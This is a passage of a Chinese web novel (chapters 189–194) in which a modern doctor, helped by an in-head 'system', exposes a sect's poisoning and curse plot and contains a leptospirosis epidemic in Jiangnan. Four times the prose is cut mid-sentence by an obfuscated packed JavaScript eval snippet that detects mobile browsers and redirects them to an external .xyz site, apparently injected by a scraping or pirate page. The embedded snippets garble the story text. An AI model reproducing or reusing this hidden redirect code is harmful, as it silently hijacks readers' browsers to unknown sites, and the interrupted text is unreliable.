杜仁绍脸色一沉,刚要发作,却被李梵娘轻轻按住手臂。 李梵娘上前一步,目光平静地迎上幽泉掌脉的眼睛:“掌脉倒是好算计。输赢都对你鬼谷有处,不过…这论道,我接受。” 她语气淡然,“只是,赌注需改一改。” “我若是赢了,不需要贵门奉我为主。只需要贵门开放所有医书古籍,与我教**局共享资源,并派弟子来教**局交流学习。我若是输了…条件依你所说。” 幽泉掌脉眼中闪过一丝诧异,他没料到李梵娘会答应的这么痛快,还提出了这样的条件。他沉吟片刻,冷笑道:“好!那便依夫人的话,请吧。” 所有人的目光都聚焦在那口冒着寒气的冰棺和李梵娘身上。 李梵娘走到冰棺前,仔细打量着棺中的男子。 服饰看着就很古老,肯定不是本朝或前朝的。 尸体保存完好,皮肤肌肉富有弹性,看起来像是陷入了沉睡,但确实毫无生命体征。 寒气逼人,靠近只觉得冷的刺骨。 “系统,”她在心中喊,“扫描一下冰棺和那尸体,分析成分和状态。” 【好哒,宿主大大,这冰棺的材质是蕴含特殊能量的万年寒玉,能够锁温保鲜,延缓**,所以这尸体还没烂,但是他的细胞活性完全没有,也没有生命体征。】 【大概**五百来年,不是自然噶的,好像是中了一堆毒,导致器官衰竭】 系统给出了初步分析。 第一百八十九章 理念不合 千年不腐? 靠的是这特殊寒玉棺吧? 至于死因… 李梵娘心中有了计较。 她抬起头,看向幽泉掌脉:“贵门‘圣躯’千年不腐,倚仗的应该是这口寒玉棺的效果,它有防止尸体**的作用,并没有什么特别之处。” 幽泉掌脉眼中闪过惊讶,没想到李梵娘一眼就看穿了寒玉棺的奥秘。 他冷哼一声:“算你有些眼力。那其生机湮灭的原因呢?” 李梵娘目光再次落在尸体上,不疾不徐的接着说,“至于死因…阁下莫非是想考教我,此人并非不是正常的衰老死亡,而是身中奇毒,且不止一种。” “多种剧毒在体内相互冲撞制衡,反而延缓了某些毒素的毒性,不会瞬间死亡,但最终还是会导致五脏六腑尽数枯竭而死。” “而且,他的体内似乎还残留着某种…非药非毒的东西,颇为古怪。” 她每说一句,幽泉掌脉和他身后那些鬼谷门人的脸色就变差一分。 尤其是最后那句“非药非毒”,让幽泉掌脉的瞳孔骤缩。 她…她怎么可能看得出来? 还是光靠肉眼观察? 前厅内一片寂静,落针可闻。 玄甲军虽然听不懂那些医学术语,但能从鬼谷众人骤变的脸色看出,他们的夫人,似乎说中了关键的东西。 幽泉掌脉死死地盯着李梵娘,眼里满是震惊和难以置信。 他们鬼谷悬医门世代守护着这具“圣躯”,研究了无数年,才通过秘法大致推断出先祖可能是中了复杂的混合剧毒才死的,并且体内残留着炼制“不死药”失败的痕迹。 而这李梵娘,仅看了几眼,甚至连棺材都没打开,就将他们的秘密说了个**不离十? 这怎么可能? 她用的到底是什么方法? “你…你究竟是怎么知道这些的?”幽泉掌脉的声音有些颤抖,之前的倨傲消失的无影无踪,取而代之的是震惊。 李梵娘神色平静,当然不能一脸得瑟的说是系统扫描的,只是淡淡的看着他。 “医术的望、闻、问、切是基础,观察细节,逻辑推理,结合我的书所记载的病理、毒理,自然能窥得一二。” “贵门先祖…似在尝试某种很危险的事情,可惜没成功,反倒被反噬了。” 她的话半真半假,既表明了自己高超的观察力和医学推理能力,又巧妙地归功于自己那本书的博大精深。 幽泉掌脉沉默了。 他身后那些鬼谷门人,也第一次出现了骚动,兜帽下的目光纷纷投向李梵娘,充满了惊疑和审视。 良久,幽泉掌脉才缓缓开口,声音干涩:“夫人的本事…果然名不虚传。这次,是我鬼谷输了。” 他倒是爽快,直接认输。 但随即,他话锋一转,眼里满是偏执,“但是,夫人所学的,虽然精于辨析,却失之于道。” “我鬼谷医道,追求的是天人合一,是用自身的精气神和天地天地,窥探生死的秘密,岂能是你这种光靠解剖、药石所能比的?” 他指着那口寒玉棺,语气激动起来:“就像我的先祖,为了追求长生之道,甘愿以身犯险,虽死犹荣。” “他的精神,他的意志,岂是你们这些只知道摆弄尸体、斤斤计较药性用几分、伤口在几寸的平庸医者所能理解的?” 李梵娘闻言,并没有动怒,反而轻轻叹了口气:“掌脉所说的‘天人合一’、‘意志驾驭’,听起来固然玄妙又高深。但——” “医术的首要目的,是治病救人,是让活着的人减少痛苦,延续生命。” “它的基础,在于对人体的认知,对疾病的理解。若脱离了对人体本身的研究,空口谈意志和所谓的天道,不过是空中楼阁,镜花水月。” 她目光扫过那些鬼谷门人,语气诚恳:“贵门先祖的志向,确实令人心生钦佩,但他的结局,实在是令人惋惜。” “若是当时能有更精深的药理知识,能更了解人所能承受的极限,或许悲剧便能避免。医学需继承,更需发展。” “兼容并蓄,取其精华,去其糟粕,以事实为标准,以造福苍生为根本,才是正途。” “闭门造车,固步自封,甚至把探索人体自身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401672|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥秘看作是亵渎,非但不能窥得天道,反而可能误入歧途,害人害己。” 她的话语清晰有力,敲在众人心上。 玄甲军听得似懂非懂,但觉得夫人说得极有道理。 嗯,不愧是我们的夫人,真有文化。 鬼谷门人中,有一部分人有所触动,眼神闪烁。 但幽泉掌脉和几个老者却满脸不以为然,甚至带着讥讽。 “哼!巧言令色!”幽泉掌脉冷声,“夫人无非就是仗着些奇技淫巧,窥得些许皮**,便妄图否定我门千年的传承。” “道不同,不相为谋,既然我们输了,古籍共享的事情,容后再议!告辞!” 他一刻也不想多留,生怕李梵娘那套“离经叛道”的理论动摇了他门里这些人的信念。 说完,竟直接命人抬起寒棺,转身就要走。 “等等!”杜仁绍一步踏出,拦在他们面前,玄甲军也握紧手里的刀剑。 幽泉掌脉脚步一顿,回头冷冷道:“怎么?镇国公要强留我们不成?” 杜仁绍目光扫过他们和那口冰棺:“你们说来就来,说走就走,当我镇国公府是什么地方?” “更何况,这具古尸…身份恐怕不简单吧?穿着前朝甚至更早的服饰,死在多种奇毒之下…” “幽泉掌脉,你们鬼谷悬医门,究竟藏着什么秘密?此人…又是谁?” 杜仁绍心思缜密,抓住了关键。 这具尸体,绝对不是普通的“先祖”那么简单,他的服饰、死因,都可能牵扯出更多的东西。 幽泉掌脉脸色微变,眼神闪过慌乱,强自镇定。 “此乃我门中秘事,与国公爷无关!让开!” 气氛剑拔**张。 李梵娘上前,拉了一下杜仁绍的衣袖,示意他稍安勿躁。 她看向幽泉掌脉,“掌脉不愿共享古书,不愿交流也就罢了。但这具古尸,牵扯的东西可能比较广。” “若掌脉执意要走,那么,请留下名帖去处。他日若有关联事宜,也好寻去。” 她以退为进,既然放他们走,就要留下线索。 第一百九十章 一波未平一波又起 幽泉掌脉深深看了李梵娘一眼,似乎想从她脸上看出些什么。 最终,他声音沙哑的说,“鬼谷悬医门,没有固定住所,很难找到,夫人若是有缘,自会再见。若无缘…强求无益。走!” 说完便带着门人抬着冰棺,快步离去。 玄甲军在杜仁绍的示意下,让开道路,但仍警惕地看着他们直到离开府邸。 前厅内,气氛依旧凝重。 “这些人…神神叨叨,绝非善类。”杜仁绍眉头紧锁,“那古尸…” “那古尸,恐怕真的大有来历。”李梵娘神色凝重,“五百年都多,还有那么多奇毒加身…这背后,恐怕藏着不少东西。” “他们刚刚的态度,也证实了这一点。他们…似乎在极力掩盖什么。” 杜仁绍点头:“我会派人暗中查探这个鬼谷悬医门的踪迹。他们今日铩羽而归,绝不会善罢甘休。” 李梵娘也表示同意。 就在两人商议如何应对鬼谷门可能还会怎么作妖时,一名侍卫快步进来,呈上一封来自江南教**局分点的书信。 李梵娘拆开一看,脸色微变,“仁绍,江南出事了!分点来信,说钱塘一带突发怪病,患者浑身水肿,小便困难,数日之内便…虚弱而死!” 李梵娘声音急促,将手中的信递给杜仁绍。 杜仁绍接过一看,脸色凝重,“水肿?无尿?速死?这症状…从来没听过啊,情况怎么样?” “信上说,已经波及到了好几个村落,**十几个人,而且每日都有新增。”李梵娘眉头紧锁,作为一名医生,她可太清楚这种急性肾衰竭伴随严重水肿的症状有多危险。 “必须立刻派人过去,不…我亲自去。” 鬼谷门那边还没想好怎么对付,江南又起疫情,真是多事之秋。 “我调些玄甲军护送你过去,你…”杜仁绍有些着急。 “不!”李梵娘打断他,“你刚接手北狄商道那边的事儿,更何况陛下那边也需要你坐镇。” “江南教**局分点那边还算有基础,我带刘二柱和医疗队去就可以了,玄甲军目标太大,反而容易引起恐慌,让王猛挑一队便装好手随行护卫就行。” 她迅速分析了下“当务之急是确定病因,控制疫情,我现在就去教**局准备药和人。” 杜仁绍知道她说得有理,虽然心中担忧,却也不再坚持,只是握了握她的手:“一切小心,随时传信回来!” “放心。”李梵娘点头,转身便快步向外走去,一边走一边在心里赶紧叫系统。 本来系统是要沉睡的,但是不放心李梵娘一个人,所以还醒着。 “系统,根据描述的症状,列出可能的病症,顺便帮我准备东西。” 【叮!宿主大大别急!我在呢!】 系统的声音响起。 【钩端螺旋体病、流行性出血热肾综合征、某些特殊毒素或重金属**,这三种都有可能。】 【宿主大大,东西都给你放空间里。】 李梵娘心中稍微安定了些,有系统在,她就有底气。 教**局内,接到消息的周院正和刘二柱焦急的等着。 李梵娘冲进来,赶忙安排,“周院正,坐镇总局,协调物资,随时支援。” “刘二柱,立刻选二十名经验丰富、身体强健的医工,带上简易帐篷、消毒的东西、半个月干粮。” “一炷香后所有人在门口集合,这次南下,异常凶险,大家自愿前往。” “是!夫人!”刘二柱立刻转身去召集人手。 一炷香后,一辆马车和几辆装载物资的骡车已经在教**局门口准备就绪。 刘二柱精挑细选的二十名医工,加上王猛率领的十名玄甲军。 李梵娘换上了一身利落的衣服,对前来送行的杜仁绍、春儿和玉萝说着:“放心,我会尽快查明疫情的成因的,控制住我就回来了。” “玉萝,你要帮我照顾好春儿,帮周院正打理好总局哦。” “师父放心!徒儿一定做到!”玉萝眼中虽然有些担忧,但更多的是相信自己的师父可以解决。 “娘亲要早点回来!”春儿抱着她的腿,奶声奶气地叮嘱。 杜仁绍上前,帮她理了理鬓角:“万事要小心,等我忙完手头 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“教**局?是医仙娘娘的人?”差役们一听这话,满脸惊喜,如同看到了救星,连忙移开路障。 “娘娘!您可算来了!快请!快请!” 李梵娘下了马车,立刻闻到一股若有若无的腥气。 她眉头微蹙,问道:“现在情况怎么样?病人在哪里?” 当地一名书吏连忙上前,哭丧着脸回话:“回娘娘,那叫一个惨呐,太惨了,渔米乡好几个村子都快死绝了。” “病人…都集中在乡里的祠堂和打谷场上…多的都没地方搁了…大夫也病倒了好几个…” “带路!”李梵娘心一沉。 进入渔米乡,景象更是触目惊心。 村落萧条,家家户户闭门不见人。 祠堂和打谷场上,临时搭着草棚,里面躺满了哀嚎的病人。 男女老少皆有,个个面色苍白蜡黄,全身浮肿得厉害,尤其是双腿和眼睑,就像是发面馒头。 第一百九十一章 瘟疫可控 许多人已经无法排尿,痛苦地扭曲着身体。 角落里,甚至来不及处理的尸体用草席随意盖着,散发出异味。 “师父…”刘二柱等人何曾见过如此惨烈的疫情,脸色都有些发白。 “戴手套!口罩!穿防护服!所有人,立刻用酒精全身消毒!”李梵娘赶紧下令,率先穿戴好系统兑换的防护装备。 所有人迅速行动起来。 王猛带着人维持秩序,协助隔离,焚烧尸体,撒生石灰消毒。 李梵娘快步走进病棚,开始检查病人的状况。 体温高热,肌肉疼痛,结膜充血,肾脏处叩击痛…症状与系统所说的钩端螺旋体病高度吻合。 “系统,隐形采样!” 【叮!采样检测中…钩端螺旋体阳性!】系统很快给出答案。 果然是钩体病。 一种由钩端螺旋体引起的人畜共患传染病,主要通过接触被鼠尿污染的水或土壤传播。 江南水网密布,夏季多雨,正是高发季节。 “刘二柱!”李梵娘立刻喊人,“这是‘水瘟’,主要通过污水传播,立刻组织人手,全面灭鼠,清理水源,水井加上盖子,严禁百姓直接接触河沟池塘水,所有饮用水必须煮沸再喝。” “是!”刘二柱立刻带人去办。 “重症患者,立即注射青霉素,辅以利尿剂。” “轻症患者,口服抗生素,所有患者,严格隔离。”李梵娘一边下令,一边为重症患者注射。 这次的疫情远比她想象的严重,许多患者送来时已经是肾功能衰竭晚期。 “师父,利尿剂效果不好,好几个病人…快不行了。”刘二柱焦急地跑来。 李梵娘看着那些因体内毒素无法排出而痛苦挣扎的病人,心如刀绞。 “系统,兑换便携式血液透析机。” 【叮,兑换成功,放在了帐篷里。】 “抬重症病人进帐篷!快!”李梵娘带头冲进帐篷。 当众人看到李梵娘用奇怪的仪器将病人的血引出来“清洗”后再输回去,一开始众人觉得没什么用。 但当病人那胀得发亮的身体竟然真的慢慢消肿时,所有医者和当地百姓都惊呆了。 “神术!真是神术啊!” “医仙娘娘救命啊!” 人们看到了希望。 李梵娘顾不上解释,日夜不休地抢救病人。 控制感染,灭鼠、水源管理和隔离,疫情逐渐被控制住。 新增病例迅速减少,重症患者也一个个从鬼门关被拉了回来。 经过十余天的艰苦奋战,钱塘县的疫情终于得到了缓解。 大部分患者康复,新的感染被切断。 教**局医疗队的医术和医仙娘娘亲自上阵,再次成为传奇,在江南各地传颂。 李梵娘却不敢有丝毫松懈。 疫情控制只是第一步,找出源头,防止复发也很重要。 她带着刘二柱等人,在当地老人的指引下,勘察周边的环境。 他们发现,疫情最先爆发的几个村落,都位于地势低洼、容易内涝的区域,而且鼠患严重。 在一处刚刚退水的洼地,他们发现了大量老鼠活动的痕迹。 “看来没错,是鼠尿污染了内涝积水,百姓蹚水劳作时通过皮肤伤口处感染。”李梵娘断定。 “必须督促当地官府,长期灭鼠和环境卫整治。” 就在他们搜查一处废弃河神庙时,刘二柱突然在一堆杂物下发现了一样东西——一小块灰色的麻布碎片。 “夫人,您看这个…”刘二柱将布片递给李梵娘。 李梵娘接过一看,心头猛地一跳。 这布料的质地、颜色…和她不久前在见过的鬼谷悬医门门人所穿衣物,几乎一模一样! 鬼谷的人来过这里? 他们来这刚发过瘟疫的废弃河神庙做什么? “仔细搜查这附近!”李梵娘立刻下令。 众人一番搜寻,又在庙后窗棂上发现了一些模糊的脚印,以及…几滴早已干涸发黑的血迹? 甚至还在一个角落里,找到了一小撮未完全烧尽的纸灰,依稀能看到纸上画着些古怪的符号。 这一切都透着一股诡异,鬼谷门的人,似乎在这里秘密活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410489|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,并且很匆忙地离开,还留下了痕迹。 李梵娘立刻让系统扫描了血迹和纸灰。 【叮!宿主大大,不是人血,血迹分析,里面有草药和矿物成分,与鬼谷门人身上残留药味部分吻合。】 【纸灰上那符号,类似某种古老的祭祀或封印符文,与鬼谷冰棺上的部分纹路有相似之处。】 鬼谷门人…诡异的药血…古老的符文…出现在这刚刚爆发过瘟疫的地方… 李梵娘心中升起一个大胆的猜测,这场突如其来的瘟疫,会不会…鬼谷悬医门有关? 他们是恰好路过? 还是…这场瘟疫,根本就是他们某种“实验”或“仪式”引起的? 这个念头让她不寒而栗,如果真是这样,那鬼谷悬医门就不仅仅是医学理念不同了,而是一群视人命如草芥的疯子…… “师父…您怎么了?”刘二柱见李梵娘脸色难看,关切地问道。 李梵娘深吸一口气,强迫自己冷静下来:“没事。把这些东西都收好。今日所见,不得对外透露半分。” “是。” 返回临时驻地后,李梵娘立刻写了一封密信,将江南疫情已经控制,以及发现鬼谷门疑似踪迹和她的猜测,详细告知杜仁绍,让他加紧追查鬼谷门的下落。 信刚送出去,当地县令便愁眉苦脸地来求见:“娘娘,疫情虽然控制住了,但…但下官有一事不解,心里很是忧虑。” “什么事?” “按娘娘吩咐的,清理水源,捕杀鼠类,可是在清理一段废弃河道时,民工们…挖出了几具古怪的动物尸骨。” “不像猪羊,也不像寻常的野兽…骨头发黑,看着就邪门,民工们都不敢动了,说是挖到了瘟神的老巢…您看…” 动物尸骨?发黑?李梵娘心中一动:“带我去看!” 在县令的带领下,李梵娘去了那段废弃河道处。 只见泥泞中,果然散落着几具较大的动物骨骸,骨骼粗壮,但形态怪异,最关键的是…所有骨头都呈现出一种不正常的焦黑色。 而在那些发黑的骨头上,李梵娘看到了一些…繁杂的符文痕迹? 第一百九十二章 邪术 在县令的带领下,李梵娘来到那段废弃河道。 只见泥泞中,果然散落着几具较大的动物骨骸,骨骼粗壮,但形态怪异,最关键的是…所有骨头都呈现出一种不正常的焦黑色。 而在那些发黑的骨头上,李梵娘看到了一些诡异的符文。 这些符文与她之前在河神庙发现的纸灰符号,以及记忆中鬼谷冰棺上的纹路,风格如出一辙,只是更清晰、更完整。 一股寒意从李梵娘的脊背窜上头顶,动物尸骨、焦黑色、鬼谷符文… 这件事应该没那么简单。 “系统,立刻扫描这些骨头和符文,分析成分和用途!”李梵娘脸色凝重得能滴出水来。 【叮!好嘞!宿主大大莫慌,本系统闪亮登场!】 【扫描中…骨头是大型牲畜的,黑色东西是一种复杂的有机矿物混合毒素,具有高传染性和持久性,可通过土壤、水源扩散。】 【嗯…有点像加强版百草枯混了点放射性物质?够狠的啊!】 【那符文是一种非常古老的厌胜诅咒,通常用于…呃,宿主大大你可能不爱听…用于‘散播瘟癀,败坏地气,侵蚀国运’…】 【翻译成人话就是:搞破坏!让这片土地倒霉!让人生病!而且看样子是针对特定龙脉水脉节点的!】 系统最后几句说得飞快,似乎有点心虚。 散播瘟癀?败坏地气?侵蚀国运? 李梵娘倒吸一口凉气,鬼谷悬医门竟然不是在做什么医学实验,而是在这儿下咒? 他们想用这种手段,祸乱江南,甚至…动摇大胤国本? 这群疯子! “娘娘…这…这到底是什么东西?”县令看着李梵娘越来越难看的脸色,吓得声音都有些发抖。 李梵娘强压下心中的震惊和怒气,沉声道:“这是一种邪术残留,立刻封锁这片区域。” “所有接触过这些骨头的人,立刻隔离观察,用烈酒去洗澡,这些骨头…用火油烧了,埋起来,挖坑的泥土也要一并处理。” “邪…邪术?!”县令腿一软,差点瘫倒在地,“是…是!下官立刻去办!” 现场顿时一片混乱和恐慌。 李梵娘退到安全距离,看着衙役们处理那些骨头, 鬼谷悬医门…他们到底想干什么? 仅仅因为医学理念不合,就要用如此极端的手段报复社会、颠覆朝廷吗? 这说不通,背后一定还有其他更深的原因。 “系统,”她努力整理思绪,“这种邪术,成功率如何?需要什么条件?” 【嗯哼!】 【根据本系统数据库分析,这种老古董级别的厌胜术,成功率其实不高,主要看‘地利’和‘人和’。】 【地利嘛,就是找准地气节点,比如这条废弃的古河道,可能就是一个小节点。】 【人和嘛,就得看施术者的功力和他献祭的东西够不够‘劲’了。看这骨头黑成这德行,献祭的玩意儿肯定歹毒无比。】 【不过宿主大大放心!】系统语气一转,变得嘚瑟起来,【有本系统在,这种级别的诅咒,能量场弱得很,扫描一下就现原形了,它也就欺负欺负没见识的古人。】 【咱们发现的早,处理及时,它成不了大气候,顶多就算个…抢糖吃未遂。】 李梵娘:“……” 虽然系统的话让她稍微安心了点,但“抢糖吃未遂”这个形容还是让她嘴角抽搐了一下。 “也就是说,他们可能还在其他地方实施了类似的邪术?”李梵娘抓住了重点。 【Bingo!答对啦!】系统肯定道。 【这种玩意儿一般都是组合拳,单点爆破效果有限。他们肯定在其他地方也动了手脚,而且,看这符文完整度,像是已经启动过,但被意外打断了,或者…还没到开启的时候?】 李梵娘的心再次提了起来。 她立刻对县令吩咐:“立刻派人巡查全县,尤其是废弃的庙宇、河道、井口、山坳等偏僻之地。” “查是否有类似的动物尸骨或符文痕迹,一旦发现,立刻标记上报,不要去触碰!” “是!是!”县令连滚爬爬地去安排。 李梵娘则带着刘二柱等人,沿着河道向上游继续勘查。 果然,在更上游的一处隐蔽河湾和一座废弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410490|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的土地庙附近,又发现了少量类似的黑色骨块和符文刻痕,但似乎都尚未完全“激活”或已被破坏。 鬼谷门的人,没少布局啊。 必须尽快找到他们的规律和目的,李梵娘拿出地图,将发现点的位置一一标注出来,试图找出什么规律。 【宿主大大,看地图!】系统提醒道,【把这些点连起来,像不像…一条歪歪扭扭的…病蛇?头朝着…钱塘江入海口?尾巴好像…指着县里的粮仓方向?】 病蛇?入海口?粮仓? 李梵娘仔细一看,心头猛地一跳。 这些分散的点,看似杂乱,但若以某种诡异的角度连接,确实隐隐构成一个指向性极强的图案。 他们不仅要散播瘟疫,还要破坏重要的水利和粮食储备,其心可诛。 就在李梵娘试图破解鬼谷门邪术的同时,杜仁绍收到了她的密信。 京城,镇国公府书房内。 杜仁绍看完信,脸阴沉得可怕,拳头捏得咯咯作响。 “鬼谷悬医门…竟敢行此逆天邪术,祸乱江南,其罪当诛!” 他眼中杀意沸腾,猛地站起身,“王猛!” “末将在!” “立刻加派人手,彻查鬼谷悬医门一切踪迹,尤其关注京畿附近,是否有类似江南的异常情况。” “发现任何可疑人员或物品,立刻控制!必要时,可先斩后奏!” “得令!”王猛不敢怠慢,立刻领命而去。 杜仁绍沉吟片刻,又铺开纸笔,迅速写了两封信。 一封是给皇帝的密奏,详细禀报江南疫情实则是邪术导致的,以及鬼谷门的威胁,请求朝廷暗中协助调查,并提高警惕。 另一封则是给江南周边州府驻军将领的私信,请他们暗中协助李梵娘,并注意防范类似事件。 信刚送出去,书房外传来通报,周院正求见。 “国公爷!”周院正脸色也有些发白,手里拿着一本古籍,“老夫…老夫在整理太医院旧档时,偶然发现一本前朝**残卷,上面记载了一些…关于鬼谷悬医门的零星传说…” “哦?快讲!”杜仁绍立刻道。 第一百九十三章 毒雾 周院正的手有些颤抖,翻开古籍。 “这个古书上面说,鬼谷悬医门并不是单纯的医学流派,它是源自前朝一个方士组织,信奉‘以疫代武,以医乱国’的邪说…” “他们利用瘟疫和毒物来摧毁敌国的气运,甚至让敌国民不聊生,前朝末年天下大乱,里面也有他们的手笔。” “太祖立国后,曾经一度出兵清剿过这些邪门歪道,没想到还在……” 杜仁绍眼里寒光闪烁,都对上了… 鬼谷悬医门根本就不是什么单纯的医学流派,说白了就是一群想要颠覆朝廷的前朝余孽。 那个冰冻尸体,恐怕就是他们的某个头头或者“实验品”。 他家梵娘写的医书,教授的医术,恐怕是触动了他们那套“以医乱国”的根本,所以才跳出来发疯。 “好一个鬼谷悬医门!”杜仁绍冷笑,指节捏的发白,“我倒要看看,你们还能玩出什么花样。” 他转身对周院正说,“这件事情,切忌不要外传,继续查阅古籍,看看还有没有相关的内容,尤其是关于那种冰封尸体或邪术破解的方法。” “是,国公爷!” 与此同时,江南钱塘县。 李梵娘根据系统的提示和地图,也差不多摸清了鬼谷门的目的。 他们想把钱塘县作为一个试验场,目标救是漕运枢纽和粮食产区,制造大规模恐慌和混乱。 “必须尽快阻止他们,不仅要破坏已经发现的地方,还要找到他们的中心。”李梵娘思量着。 她根据符文的指向和地势风水,将目标锁定在了钱塘江入海口附近一处荒废的祭海坛。 那里地势很特殊,常年又有雾,很少有人会去,他们在那里施邪术再好不过了。 “刘二柱,你带人继续处理已经发现的地方,监督灭鼠工作,防止****。” “王猛,带上你的人,跟我去祭海坛!”李梵娘准备兵分两路。 “夫人,太危险了!还是等…”王猛担心道。 “等不及了!”李梵娘斩钉截铁,“必须在他们完成邪术或转移前找到证据,阻止他们,出发!” 趁着夜色,李梵娘等人直奔荒废的祭海坛。 越靠近祭海坛,空气中的腥咸味越重,雾气也浓了不少,能见度极低,四周安静得只剩下海浪拍岸的声音,显得格外阴森。 “小心戒备!”王猛低声下令,周围的士兵拔刀,**箭上好弦,把李梵娘围在中间。 几人走进祭坛,残破的石台和石柱在雾里若隐若现,看着怪慎人的。 “系统,扫描周围环境,有无异常?” 【好嘞!扫描启动…嗡…叮!】 系统声音带着警惕,【祭坛中心有问题,还有不止一个的微弱生命迹象,小心,宿主大大!】 李梵娘心头一紧,示意队伍停下,向祭坛中心望去。 浓雾之中,隐约可见几点幽蓝色的光闪烁着,组成了一个复杂的图案。 在那旁边,有几个黑影正在忙碌着什么。 他们真的在这里,还在摆阵。 “围起来!抓活的!”王猛当机立断,低声喝道。 士兵们立刻悄无声息地散开,向祭坛中心包抄过去。 然而,就在此时,一个沙哑而疯狂的笑声响起。 “哈哈哈,你们来得太晚了,‘瘟癀逆源阵’已经成了,这里方圆百里,生机已经断了,瘟疫将永无止境。” “大胤的国运,必遭重创,哈哈哈哈…” 是幽泉掌脉的声音。 伴随着他的狂笑,一股令人作呕的腐朽腥臭气息弥漫开来。 离得最近的几名士兵突然惨叫一声,捂住口鼻,痛苦地倒地抽搐,皮肤上以肉眼可见的速度泛起可怕的黑紫色水泡。 离祭坛中心最近的几名玄甲军首当其冲,他们甚至连惨叫都只发出一半,便猛地捂住口鼻,眼球充血凸出,痛苦地倒地剧烈抽搐。 暴露在外的皮肤,特别是手和脸颊,以肉眼可见的速度鼓起一个个大小不一、紫黑发亮的水泡,看起来随时都会破裂流脓。 “退!快往后退!雾气有毒!”王猛目眦欲裂,对着周围的人喊着,拉住离他最近的李梵娘就往后退。 好在众人反应比较快,立刻屏住呼吸,拖着倒地的同伴就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416106|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往安全的地方跑。 李梵娘被王猛拉着后退,目光却死死盯着那些倒地的士兵和弥漫的臭气,心脏狂跳。 “系统,分析下毒雾的成分,还有医治的办法。” 【宿主大大!这老小子玩阴的!这他`妈是生化武器了!】系统的声音瞬间拔高,带着愤怒和急切。 【毒雾里有尸胺、腐胺、硫化氢,以及…等等!还有烈性神经毒素和糜烂性**。】 【草!这是要大规模无差别攻击啊!】 【赶紧用清水冲洗暴露的皮肤,注射阿托品、**、还有抗生素,水泡千万不能弄破。】 系统报出一连串药品,同时把需要的东西放在李梵娘随身带的药箱。 “王猛,立刻后撤,找上风口,取水,快!”李梵娘一边快速往后退一边下令,声音强行保持镇定,“**的人平放!我来处理!” 队伍迅速撤到上风处一片岩石后。 士兵们取来水囊,李梵娘和王猛亲自上手,用清水疯狂冲洗**士兵暴露的皮肤。 同时,李梵娘迅速取出注射器和药品,给他们注射解毒剂和抗炎药。 她的动作很快,神情专注。 幸好发现及时,**比较深的只有最先倒下的三五人,其余人只是轻微不适。 经过紧急处理,那几名重症士兵的抽搐逐渐停止,水泡也没有继续扩大,但人陷入了昏迷,情况依就很危险。 “幽泉老贼!”王猛看着手下兄弟的惨状,气得双眼通红,拔刀就要往雾里冲。 “站住!”李梵娘厉声喝止,“雾气还没散,你要进去送死吗?他们布下这样的毒阵,肯定有后手和退路,不要贸然追击。” 她抬头望向祭坛方向,那里只剩下愈发浓郁的臭毒雾。 幽泉等人的生命迹象也在迅速远去,他们显然早有准备,利用毒雾的遮掩,趁机逃跑了。 “立刻派人回县衙,调集更多人手,携带大量生石灰和解毒草药前来,封锁这片区域,等雾气自然消散或者降雨稀释后,再彻底清理消毒!”李梵娘快速吩咐。 “是!”一名士兵领命,赶紧跑去叫人。 第一百九十四章 目标 李梵娘看着昏迷的士兵,又望了望鬼谷门人逃跑的方向,脸色铁青。 她是真的没想到,鬼谷门竟然疯狂到这个地步,使用这种同归于尽的歹毒手段。 “系统,这‘瘟癀逆源阵’真的成了?方圆百里生机已断?”她最担心的是这个。 【呸!宿主大大别听那老神棍吹牛!】系统嗤之以鼻。 【还逆源阵?吓唬人的玩意儿!本质上就是个大号毒气弹加上心理恐吓!】 【阵法核心估计就是那些符文化和加了料的腐烂物,通过特殊布置让毒气缓慢持续释放,污染这片地儿!】 【它确实能造成严重污染和疫情,但说什么‘生机已断’、‘永无止境’就是扯淡,只要及时清理污染源,彻底消毒。】 【再加上宿主大大你的医术,完全可以控制,就是这过程…估计得费老大劲了!】系统语气变得严肃起来。 李梵娘听到系统的话,稍稍松了口气。 只要不是真的没办法挽救就好。 